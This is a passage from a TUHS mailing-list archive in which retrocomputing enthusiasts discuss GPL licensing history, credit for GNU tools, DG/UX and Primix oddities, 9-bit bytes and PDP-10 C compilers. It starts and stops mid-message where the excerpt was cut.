+ his bonus doesn't depend on that.

> Fortunately for people like me, companies often get in serious trouble and need
> someone who knows about bits and cycles and interrupts and propagation delay and
> so on.  Good for the toy budget.

I did this for 13 years. I enjoyed some aspects like solving
problems others failed at but overall fixing problems that
shouldn't have been created in the first place was rather
unsatisfying. I much preferred jobs where I had the freedom
to build things from scratch.

> BTW, it's not just software.  On this same project there was a problem internal
> to the Atmel SOC.  Turns out that Atmel had just purchased a bunch of IP and
> glued it together on the chip and even they didn't know the particular detail
> that I needed.  Took several months of escalation to finally get it resolved.

Reminds me of the an Intel processor I ran into once. They
wouldn't even admit the chip had a fault but after staring at
my client's code for a month that was the only thing that
made sense. The bug manifested only in a running system
involving a PC, client's hardware IO board, an IBM mainframe
and a phone system. So we flew down to client's customer
side, hooked up a logic analyzer on the PC bus, and within
15 minutes we had the trace proving the chip bug. Intel then
said, oh yeah, that problem is known and is on the errata list.



From khm at sciops.net  Mon Sep 18 04:57:01 2017
From: khm at sciops.net (Kurt H Maier)
Date: Sun, 17 Sep 2017 11:57:01 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <cd19aecd-6dec-9c0f-639d-1b0731b432ab@case.edu>
References: <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
 <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
 <20170917014349.GW3272@mcvoy.com>
 <201709170519.v8H5JpKx003398@freefriends.org>
 <cd19aecd-6dec-9c0f-639d-1b0731b432ab@case.edu>
Message-ID: <20170917185701.GA31988@wopr>

On Sun, Sep 17, 2017 at 02:49:16PM -0400, Chet Ramey wrote:
> 
> I remember multiple FSF efforts to solicit volunteers for named projects.
> There were lots of people willing to donate their time and effort. And
> at that time, there were very few non-FSF projects licensed under the GPL,
> so the issue of "absorbtion" was minor to non-existent.

But that time changed, and was replaced by a time where the FSF pushed
hard on copyright assignment to the FSF, and led to a time where we
wound up with GPL, GPL2, GPL3, AGPL, LGPL, ad infinitum, which landed us
in the present day, where half the tech organizations on earth are so
unwilling to step into the morass that BSD/MIT licenses are making a big
comeback.  

They've spent so much time trying to 'fix' international patent law by
clubbing people with copyright licenses that the company behind the most
popular linux distribution is working on a BSD-licensed kernel.

The history of UNIX and its ilk fascinates me, but only half of it is
technology.  The other half of it is a bizarre forty-year-long license
war, which the partisans refuse to stop fighting, even after they win.

khm


From dwalker at doomd.net  Mon Sep 18 05:01:46 2017
From: dwalker at doomd.net (Derrik Walker v2.0)
Date: Sun, 17 Sep 2017 15:01:46 -0400
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <58b4bb3e-1b94-0e3d-312d-9151e8a057a6@case.edu>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
 <201709170728.v8H7SvbH014339@freefriends.org>
 <58b4bb3e-1b94-0e3d-312d-9151e8a057a6@case.edu>
Message-ID: <fc8a1934-e5c3-3a2f-e940-f914d990006a@doomd.net>

On 09/17/2017 02:50 PM, Chet Ramey wrote:
> On 9/17/17 3:28 AM, arnold at skeeve.com wrote:
>
>> Whatever Data General called their Unix layer on top of their native
>> OS for the Eclipse or whatever it was (32 bit system).
> I think they called it DG/UX -- just like they called their wretched
> System V port.
>
I had to support a DGUX box for a short time.

Fortunately, porting the app to HPUX was the software guys top priority 
and I only had to deal with it for 6 months or So.

Let's just say, it was no HPUX, ( or even Solaris, or Irix )!

-- 
-- Derrik

Derrik Walker v2.0, RHCE
dwalker at doomd.net

"Those UNIX guys, they think weird!" -- John C. Dvorak


-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3986 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170917/6c0d6903/attachment.bin>

From imp at bsdimp.com  Mon Sep 18 05:08:18 2017
From: imp at bsdimp.com (Warner Losh)
Date: Sun, 17 Sep 2017 13:08:18 -0600
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170917185701.GA31988@wopr>
References: <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
 <20170914213535.4ptpo7jtaem6x5tf@thunk.org> <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
 <20170917014349.GW3272@mcvoy.com>
 <201709170519.v8H5JpKx003398@freefriends.org>
 <cd19aecd-6dec-9c0f-639d-1b0731b432ab@case.edu>
 <20170917185701.GA31988@wopr>
Message-ID: <CANCZdfp44J0sDzg6LF=Lc72hDVCcfFP_54-XoOw14jwKBH9Xmg@mail.gmail.com>

On Sun, Sep 17, 2017 at 12:57 PM, Kurt H Maier <khm at sciops.net> wrote:

> On Sun, Sep 17, 2017 at 02:49:16PM -0400, Chet Ramey wrote:
> >
> > I remember multiple FSF efforts to solicit volunteers for named projects.
> > There were lots of people willing to donate their time and effort. And
> > at that time, there were very few non-FSF projects licensed under the
> GPL,
> > so the issue of "absorbtion" was minor to non-existent.
>
> But that time changed, and was replaced by a time where the FSF pushed
> hard on copyright assignment to the FSF, and led to a time where we
> wound up with GPL, GPL2, GPL3, AGPL, LGPL, ad infinitum, which landed us
> in the present day, where half the tech organizations on earth are so
> unwilling to step into the morass that BSD/MIT licenses are making a big
> comeback.
>

FreeBSD started out life with lots of GNU/GPL software. After GPLv3 was
released, the project made a conscious effort to move away from all GPL'd
software in the tree. When FreeBSD 12 comes out next year, there's a really
good chance all the GPL'd code will be gone from the tree.


> They've spent so much time trying to 'fix' international patent law by
> clubbing people with copyright licenses that the company behind the most
> popular linux distribution is working on a BSD-licensed kernel.
>

Fun times, that....


> The history of UNIX and its ilk fascinates me, but only half of it is
> technology.  The other half of it is a bizarre forty-year-long license
> war, which the partisans refuse to stop fighting, even after they win.
>

Yea...

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170917/5002e5bd/attachment.html>

From chet.ramey at case.edu  Mon Sep 18 05:22:45 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Sun, 17 Sep 2017 15:22:45 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170917185701.GA31988@wopr>
References: <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr> <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
 <20170917014349.GW3272@mcvoy.com>
 <201709170519.v8H5JpKx003398@freefriends.org>
 <cd19aecd-6dec-9c0f-639d-1b0731b432ab@case.edu> <20170917185701.GA31988@wopr>
Message-ID: <2666b7cf-1d32-058c-4d2e-bbba30d96b0c@case.edu>

On 9/17/17 2:57 PM, Kurt H Maier wrote:
> On Sun, Sep 17, 2017 at 02:49:16PM -0400, Chet Ramey wrote:
>>
>> I remember multiple FSF efforts to solicit volunteers for named projects.
>> There were lots of people willing to donate their time and effort. And
>> at that time, there were very few non-FSF projects licensed under the GPL,
>> so the issue of "absorbtion" was minor to non-existent.
> 
> But that time changed, and was replaced by a time where the FSF pushed
> hard on copyright assignment to the FSF, and led to a time where we
> wound up with GPL, GPL2, GPL3, AGPL, LGPL, ad infinitum, which landed us
> in the present day, where half the tech organizations on earth are so
> unwilling to step into the morass that BSD/MIT licenses are making a big
> comeback.

This is all true, though I would argue that the "copyright assignment to
the FSF" was there from the beginning, and concealed by the fact that
the early work was directly funded by the FSF before being handed off.
Certainly they asked me for a copyright assignment early on, and this is
almost 30 years ago. There just weren't that many objections.

I would also argue that the different versions of the license were the
result of people asking for exceptions or clarifiations, and the FSF
attempting to accommodate them.

There's no question that the GNU project is at least as much of a social
policy effort as a technology one. You can't leave either one out of any
history.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From bakul at bitblocks.com  Mon Sep 18 05:33:29 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Sun, 17 Sep 2017 12:33:29 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <CANCZdfp44J0sDzg6LF=Lc72hDVCcfFP_54-XoOw14jwKBH9Xmg@mail.gmail.com>
References: <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr> <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
 <20170917014349.GW3272@mcvoy.com>
 <201709170519.v8H5JpKx003398@freefriends.org>
 <cd19aecd-6dec-9c0f-639d-1b0731b432ab@case.edu> <20170917185701.GA31988@wopr>
 <CANCZdfp44J0sDzg6LF=Lc72hDVCcfFP_54-XoOw14jwKBH9Xmg@mail.gmail.com>
Message-ID: <6E6A6F9A-E2E6-463C-A8CD-FFBC442956D5@bitblocks.com>


> The history of UNIX and its ilk fascinates me, but only half of it is
> technology.  The other half of it is a bizarre forty-year-long license
> war, which the partisans refuse to stop fighting, even after they win.
> 
> Yea...

Even discussions about GPL are viral!

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170917/3a8175e1/attachment.html>

From lm at mcvoy.com  Mon Sep 18 10:12:06 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Sun, 17 Sep 2017 17:12:06 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <e3589066-4edc-7fdc-8517-3e9fc8ed1c81@case.edu>
References: <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
 <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
 <20170917014349.GW3272@mcvoy.com>
 <e3589066-4edc-7fdc-8517-3e9fc8ed1c81@case.edu>
Message-ID: <20170918001206.GD3272@mcvoy.com>

On Sun, Sep 17, 2017 at 02:43:33PM -0400, Chet Ramey wrote:
> On 9/16/17 9:43 PM, Larry McVoy wrote:
> > I stand by my comment.  I'm friends with the Cygnus folks, they would
> > tend to agree with me I think.
> > 
> > All that stuff you listed, can you list the things that the GNU/FSF
> > people have funded?  Because I think there is close to nothing.  All of
> > that stuff is stuff that came under the GNU umbrella but they didn't do
> > the coding.
> 
> Is that the only criterion? Whether or not someone got paid directly by
> the FSF to do something?  Because there are lots of tools that were
> originally written by people funded by the FSF and then handed off to
> people like me: volunteers who donate our effort.
> 
> > 
> > I give credit to RMS for the GPL, that was cool.  But claiming credit
> > for stuff that GNU/FSF didn't do was not cool.
> 
> Denigrating the work of volunteers who explicitly donated their effort
> and talent to the FSF is not cool.

OK, let's hit the reset button on this one.  I'm happy that the GNU
project exists, I benefit from it every day.  I am explicitly stating
that I appreciate all of the work that people have done as volunteers,
I'm one of them.

What I'm not a fan of is Stallman getting people to put stuff under the
GPL and then acting like he/FSF wrote the code.  He still claims credit
for GCC to this day and the Stallman GCC was *nothing* like a Ken C
compiler, it was junk.  Tiemann at Sun and then Cygnus, did the real work
to make that thing actually be a reasonable program.  Don't believe me?
Go find a pre-Tiemann GCC and try and compile any reasonable program
with it.  As someone else pointed out, emacs wasn't RMS, it was Gosling.
RMS has a track record of starting stuff, hijacking stuff, and claiming
credit.  That is what I don't like.  I like the GNU project just fine,
I'm not a fan of people claiming credit for stuff they didn't do.

I really soured on on RMS when the FSF took my ls -h/du -h code and
"rewrote" it so they would not have to give me credit.  That's pretty
petty.  He did it because he hated me because BitKeeper wasn't open source
enough for him and the kernel was using it.  So he wanted to scrub the
GNU source base of any of my contributions.  So I stopped contributing.

I'll leave you with a story from the Cygnus days, I was friends with
all three founders.  I was having dinner with Gumby and Michael and
we were discussing RMS.  It was RMS this, RMS that.  Gumby's wife is
German and at one point she says "OMG, you mean RMS!".  We say "yeah?"
She says all this time I thought you were saying "Our mess".  We paused,
replayed the conversation, and were sort of stunned that every sentence
made sense with "our mess".


From clemc at ccc.com  Mon Sep 18 10:51:34 2017
From: clemc at ccc.com (Clem Cole)
Date: Sun, 17 Sep 2017 20:51:34 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170918001206.GD3272@mcvoy.com>
References: <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
 <20170914213535.4ptpo7jtaem6x5tf@thunk.org> <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
 <20170917014349.GW3272@mcvoy.com>
 <e3589066-4edc-7fdc-8517-3e9fc8ed1c81@case.edu>
 <20170918001206.GD3272@mcvoy.com>
Message-ID: <CAC20D2Oi1F10XihB=xeJTYkiaLfHFajJKHRB2HmZtw52WB+-7g@mail.gmail.com>

On Sun, Sep 17, 2017 at 8:12 PM, Larry McVoy <lm at mcvoy.com> wrote:

>
> OK, let's hit the reset button on this one.

​I agree,   Warren said something similar...​




> I'm happy that the GNU
> ​ ​
> project exists, I benefit from it every day.

​ditto.​




> I am explicitly stating
> ​ ​
> that I appreciate all of the work that people have done as volunteers,
> I'm one of them.

​And I'll add, we as a community owe a huge thank you to all of them,
particularly many smaller less known folks that have helped out over the
years.  I wish I could thank them all specifically.

I'll give RMS, Len and original GNU team credit for one really important
thing that happened early on.   It really was the getting a C compiler out
that there that worked (sort of) for so many systems.  This was the key
enabler more than anything else.  The C compiler that anyone could get,
that was freely available, was the watershed moment for all us.  [
​
​And Larry's right, the
 fact the Tiemann mopped up an
​d​
really move
​d​
it from being a toy to being something that was pretty creditable, it what
made the project actually have a
​ long term​
life
​]​
.​
​   If we had not had the compiler, almost all other project would not have
happened.


By getting a compiler that covered the primary architectures being used and
was quickly moved to so many OS's and generated 'good enough' code for so
many folks - we have the options we have today.

The only other compiler at the time, that could have done the same things
was Andy's Amsterdam Compiler Kit (which when it came out, was considered a
"better" compiler)​, but it had a small pay wall.  And 'free' as in 'beer'
was the important difference when it all started.

Like many of other Christiansen style disruptions.... 'worse' technology
was valuable and got better.   And the GNU C disrupted the order in the
software industry.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170917/bdd92b6e/attachment.html>

From bqt at update.uu.se  Mon Sep 18 12:34:56 2017
From: bqt at update.uu.se (Johnny Billquist)
Date: Mon, 18 Sep 2017 04:34:56 +0200
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <mailman.1031.1505666037.3779.tuhs@minnie.tuhs.org>
References: <mailman.1031.1505666037.3779.tuhs@minnie.tuhs.org>
Message-ID: <9e3b00fa-3688-73d1-b79c-b88c3bd99bdb@update.uu.se>

On 2017-09-17 18:33, Arthur Krewat <krewat at kilonet.net> wrote:

> Was there ever a UNIX or even the thought of porting one to a PDP-10?

Definitely a thought. An attempt was started on NetBSD for the PDP-10, 
and it sortof got halfway of getting into single-user, but I'm not sure 
if the person who worked on it just got distracted, or if he hit 
problems that were really hard to solve. I certainly know the person, 
and can find out more if people really are interested.

> 36-bit machine, 18-bit addresses (more on KL10 and KS10), and:
> 
> *0 would return register 0 instead of a SIGSEGV ;)

Yes. Not the first machine that would be true for. You don't have 
address 0 unmapped on a PDP-11 either.

> 8-bit bytes would have been a wasteful exercise, but you never know.
> (losing 4 bits of every 36-bit word)

Uh... Why 8 bit bytes? That way lies madness. There exists a really good 
C compiler for TOPS-20 - KCC. It uses 9 bits per byte. Works like a 
charm, except when some people write portable code that is not so 
portable. ;-)

KCC was written by KLH, unless I remember wrong. Same guy who also wrote 
the KLH-10 emulator.

	Johnny

-- 
Johnny Billquist                  || "I'm on a bus
                                   ||  on a psychedelic trip
email: bqt at softjar.se             ||  Reading murder books
pdp is alive!                     ||  tryin' to stay hip" - B. Idol


From nw at retrocomputingtasmania.com  Mon Sep 18 17:27:27 2017
From: nw at retrocomputingtasmania.com (Nigel Williams)
Date: Mon, 18 Sep 2017 17:27:27 +1000
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <20170917144909.DB27FA585CB@yagi.h-net.msu.edu>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
 <20170917144909.DB27FA585CB@yagi.h-net.msu.edu>
Message-ID: <CACCFpdwD4jAx69MqQ1QdT7GRuKMbVVOBjvMLbMHgu2GSRcy7rQ@mail.gmail.com>

On Mon, Sep 18, 2017 at 12:49 AM, Dennis Boone <drb at msu.edu> wrote:
> The Prime minis
> had a layered product called Primix that provided a unix userland of
> sorts.  Dog slow, at least in its earlier releases.  Null pointers were
> not zero on the Prime machines.

I second Dennis's vote for Primix as "weirdnix".

The other weirdness was the high-bit of ASCII being set due to the
convention on Primos (they feared to ever change it to avoid upsetting
customers).

People went mad trying to port applications to it due to these
differences. Primos defaulted to all UPPERCASE, and I vaguely recall
having to poke about for a fair while when starting Primix to convince
the Prime terminal handler to switch to lowercase.

There was an attempt to produce a native port of Unix for Prime
computers but I believe it was squashed by Prime management.


From arnold at skeeve.com  Mon Sep 18 18:31:06 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Mon, 18 Sep 2017 02:31:06 -0600
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <CACCFpdwD4jAx69MqQ1QdT7GRuKMbVVOBjvMLbMHgu2GSRcy7rQ@mail.gmail.com>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
 <20170917144909.DB27FA585CB@yagi.h-net.msu.edu>
 <CACCFpdwD4jAx69MqQ1QdT7GRuKMbVVOBjvMLbMHgu2GSRcy7rQ@mail.gmail.com>
Message-ID: <201709180831.v8I8V6LB021088@freefriends.org>

That Pr1me had a Unix emulation layer is news to me (I think). I worked
on the Georgia Tech Software Tools Subsystem for Pr1me Computers for
several years. (Oh, how I wish I had saved that last release tape!!!)

Primos was a terribly weird OS, but the SWT subsystem made it almost
Unix-like and very pleasant and usable.  The mark parity business
was only one of the weirdnesses of that machine.  Georgia Tech even
had a C compiler for it. sizeof(char) was 1, of course, but it was 16
bits, because the instruction mode used didn't have 8 bit byte pointers.

I can't claim credit for GT-SWT; I came along after it was mature
and stable, but I did do a few nice things.

Arnold

Nigel Williams <nw at retrocomputingtasmania.com> wrote:

> On Mon, Sep 18, 2017 at 12:49 AM, Dennis Boone <drb at msu.edu> wrote:
> > The Prime minis
> > had a layered product called Primix that provided a unix userland of
> > sorts.  Dog slow, at least in its earlier releases.  Null pointers were
> > not zero on the Prime machines.
>
> I second Dennis's vote for Primix as "weirdnix".
>
> The other weirdness was the high-bit of ASCII being set due to the
> convention on Primos (they feared to ever change it to avoid upsetting
> customers).
>
> People went mad trying to port applications to it due to these
> differences. Primos defaulted to all UPPERCASE, and I vaguely recall
> having to poke about for a fair while when starting Primix to convince
> the Prime terminal handler to switch to lowercase.
>
> There was an attempt to produce a native port of Unix for Prime
> computers but I believe it was squashed by Prime management.


From andreas.kahari at icm.uu.se  Mon Sep 18 20:39:11 2017
From: andreas.kahari at icm.uu.se (Andreas Kusalananda =?iso-8859-1?B?S+Ro5HJp?=)
Date: Mon, 18 Sep 2017 12:39:11 +0200
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <201709180831.v8I8V6LB021088@freefriends.org>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
 <20170917144909.DB27FA585CB@yagi.h-net.msu.edu>
 <CACCFpdwD4jAx69MqQ1QdT7GRuKMbVVOBjvMLbMHgu2GSRcy7rQ@mail.gmail.com>
 <201709180831.v8I8V6LB021088@freefriends.org>
Message-ID: <20170918103911.2bok6nfjpbbm6cqq@client.local>

(This is a copy of an email I sent from the wrong address. If the first
(identaical) version of the message eventually arrives, just ignore it)

On Mon, Sep 18, 2017 at 02:31:06AM -0600, arnold at skeeve.com wrote:
> That Pr1me had a Unix emulation layer is news to me (I think). I worked
> on the Georgia Tech Software Tools Subsystem for Pr1me Computers for
> several years. (Oh, how I wish I had saved that last release tape!!!)
> 
> Primos was a terribly weird OS, but the SWT subsystem made it almost
> Unix-like and very pleasant and usable.  The mark parity business
> was only one of the weirdnesses of that machine.  Georgia Tech even
> had a C compiler for it. sizeof(char) was 1, of course, but it was 16
> bits, because the instruction mode used didn't have 8 bit byte pointers.
> 
> I can't claim credit for GT-SWT; I came along after it was mature
> and stable, but I did do a few nice things.
> 
> Arnold
> 
> Nigel Williams <nw at retrocomputingtasmania.com> wrote:
[cut]

I've been wondering about this for some time, if a byte isn't 8 bits on
an architecture, how would you go about calculating memory sizes in a
way that makes it comparable between machines?

A 32 KB memory buffer is 262144=32*1024*8 bits on one machine, but
294912=32*1024*9 bits on another.  That's a difference of 32 Kbit.

Of course, it may not matter since both buffers contains as many
items/bytes, but for the machine as a whole you can't say "this machine
has X MB of memory" without mentioning the byte length.  A machine with
"n" bit words would be able to "store less information" in memory than a
machine with the same number of MB of RAM but with "n+x" bit words.

How would you do for even more exotic hardware?
What if sizeof(char) != 1 for example?

Maybe this isn't/wasn't an issue at all?

Cheers,
Kusalananda


-- 
Andreas Kusalananda Kähäri,
National Bioinformatics Infrastructure Sweden (NBIS),
Uppsala University, Sweden.


From david at kdbarto.org  Mon Sep 18 21:41:00 2017
From: david at kdbarto.org (David)
Date: Mon, 18 Sep 2017 04:41:00 -0700
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <mailman.1035.1505674910.3779.tuhs@minnie.tuhs.org>
References: <mailman.1035.1505674910.3779.tuhs@minnie.tuhs.org>
Message-ID: <63C742A3-CF09-4315-BE3A-CB65AF0D4F4D@kdbarto.org>

I had almost wiped any memory of DG/UX from my memory. Now I’m
quite sure I must resume therapy for it.

I wrote device drivers for that . . . thing to drive graphics cards for
Megatek and its custom version of X11 that buried about 1/2 of the
server in the hardware.

	David

> On Sep 17, 2017, at 12:01 PM, tuhs-request at minnie.tuhs.org wrote:
> 
> From: Chet Ramey <chet.ramey at case.edu>
> To: arnold at skeeve.com, wkt at tuhs.org, tuhs at tuhs.org
> Subject: Re: [TUHS] And now ... Weirdnix?
> Message-ID: <58b4bb3e-1b94-0e3d-312d-9151e8a057a6 at case.edu>
> Content-Type: text/plain; charset=utf-8
> 
> On 9/17/17 3:28 AM, arnold at skeeve.com wrote:
> 
>> Whatever Data General called their Unix layer on top of their native
>> OS for the Eclipse or whatever it was (32 bit system).
> 
> I think they called it DG/UX -- just like they called their wretched
> System V port.



From michael at kjorling.se  Mon Sep 18 21:59:44 2017
From: michael at kjorling.se (Michael =?utf-8?B?S2rDtnJsaW5n?=)
Date: Mon, 18 Sep 2017 11:59:44 +0000
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <20170918103911.2bok6nfjpbbm6cqq@client.local>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
 <20170917144909.DB27FA585CB@yagi.h-net.msu.edu>
 <CACCFpdwD4jAx69MqQ1QdT7GRuKMbVVOBjvMLbMHgu2GSRcy7rQ@mail.gmail.com>
 <201709180831.v8I8V6LB021088@freefriends.org>
 <20170918103911.2bok6nfjpbbm6cqq@client.local>
Message-ID: <20170918115944.GC19358@6A257D6BF119422186439413BD282393>

On 18 Sep 2017 12:39 +0200, from andreas.kahari at icm.uu.se (Andreas Kusalananda Kähäri):
> I've been wondering about this for some time, if a byte isn't 8 bits on
> an architecture, how would you go about calculating memory sizes in a
> way that makes it comparable between machines?
> 
> A 32 KB memory buffer is 262144=32*1024*8 bits on one machine, but
> 294912=32*1024*9 bits on another.  That's a difference of 32 Kbit.
> 
> [snip]
> 
> Maybe this isn't/wasn't an issue at all?

Memory _chips_ are often specified in terms of accessible bits. So you
might have a chip that can hold _(8 * 2^20) * 8 bits_, or eight binary
megabytes for the case where 1 byte == 8 bits. The same chip could be
specified as _(64 * 2^20) * 1 bits_ for 64 binary megabits. This would
normally be written 8Mx8 or 64Mx1 for a binary "M" prefix.

How you then use those bits is entirely up to the system integrator
and software developer. And we do know that on systems with limited
memory, bit-packing is a common practice, based on the mantra that "no
good bits should ever be allowed to go to waste".

This notation has the benefit that it relates directly to how much
data can be held, as opposed to _how_ that data is held.

-- 
Michael Kjörling • https://michael.kjorling.se • michael at kjorling.se
                 “People who think they know everything really annoy
                 those of us who know we don’t.” (Bjarne Stroustrup)


From arnold at skeeve.com  Mon Sep 18 22:02:31 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Mon, 18 Sep 2017 06:02:31 -0600
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <58b4bb3e-1b94-0e3d-312d-9151e8a057a6@case.edu>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
 <201709170728.v8H7SvbH014339@freefriends.org>
 <58b4bb3e-1b94-0e3d-312d-9151e8a057a6@case.edu>
Message-ID: <201709181202.v8IC2V4v014201@freefriends.org>


> On 9/17/17 3:28 AM, arnold at skeeve.com wrote:
> > Whatever Data General called their Unix layer on top of their native
> > OS for the Eclipse or whatever it was (32 bit system).

Chet Ramey <chet.ramey at case.edu> wrote:
> I think they called it DG/UX -- just like they called their wretched
> System V port.

I thought it had a different name. But I definitely no longer remeber.

Arnold


From chet.ramey at case.edu  Mon Sep 18 23:15:25 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Mon, 18 Sep 2017 09:15:25 -0400
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <63C742A3-CF09-4315-BE3A-CB65AF0D4F4D@kdbarto.org>
References: <mailman.1035.1505674910.3779.tuhs@minnie.tuhs.org>
 <63C742A3-CF09-4315-BE3A-CB65AF0D4F4D@kdbarto.org>
Message-ID: <7394b5dd-b6a8-0289-5721-6caae4d93daa@case.edu>

On 9/18/17 7:41 AM, David wrote:
> I had almost wiped any memory of DG/UX from my memory. Now I’m
> quite sure I must resume therapy for it.
> 
> I wrote device drivers for that . . . thing to drive graphics cards for
> Megatek and its custom version of X11 that buried about 1/2 of the
> server in the hardware.

That's well later than the MV10000 we had here, running one of the earliest
versions of DG/UX. That must have been 1987 or 1988.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From clemc at ccc.com  Mon Sep 18 23:50:50 2017
From: clemc at ccc.com (Clem Cole)
Date: Mon, 18 Sep 2017 09:50:50 -0400
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <751d6686-0620-9a9a-9055-55538e913fa5@kilonet.net>
References: <d90d0034-b138-4b76-c28d-865d5839613e@kilonet.net>
 <CANCZdforuA-Qtuyw9fr9BDXQ+vZ+YRgLw0ahchCwwtvT7u=RUA@mail.gmail.com>
 <7wk20x5py1.fsf@junk.nocrew.org>
 <751d6686-0620-9a9a-9055-55538e913fa5@kilonet.net>
Message-ID: <CAC20D2O1_qteChioos=Kgt0aq1YCxpbNR7eAHW1PUWqox=LUKQ@mail.gmail.com>

On Sun, Sep 17, 2017 at 11:22 AM, Arthur Krewat <krewat at kilonet.net> wrote:

> I have a C compiler for TOPS-10 that I got off the Internet back in 1988.
> Still haven't messed around with it enough to get it to run, but ...
>
> ​There was a PDP-10 C compiler in the late 1970s, that was kicking around
CMU, MIT and Stanford which we used to write backup10 and ​and an
implementation of tar.   IIRC, it was based on the the Ritchie front end
and was V6 in syntax (i.e. pre-V7 or typesetter C - aka 'White Book).
I've forgotten the rules of chars, but I remember you had to be careful.
I think it was 4 9-bit chars to transfer things (4*9=36 bits), but I think
I remember there were cases on output that it wanted to wash it through a
7-bit PDP-10 char (5*7+1 =36bits) which was the 'norm' for most languages
like SAIL, BLISS et al.

I did not mess with much, but that time, I was transitioning from the 10's
to UNIX by that time.   I added support for the -20's dumper tapes to
backup10 which were almost but not quite the same.  But that was the last I
messed with it.   Mike Accetta and Fil Aliva (of CMU Mach fame) I remember
had their had in that subsystem, at one point.  And of course Danny Klein
is always a good one from those days to ask too. I'll see if I can dig them
up and ask.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170918/accf550f/attachment.html>

From clemc at ccc.com  Tue Sep 19 00:17:45 2017
From: clemc at ccc.com (Clem Cole)
Date: Mon, 18 Sep 2017 10:17:45 -0400
Subject: [TUHS] really Pottering vs UNIX
In-Reply-To: <36EA6EA0-D292-4042-A2B0-AC370DA930E8@kdbarto.org>
References: <mailman.1021.1505464341.3779.tuhs@minnie.tuhs.org>
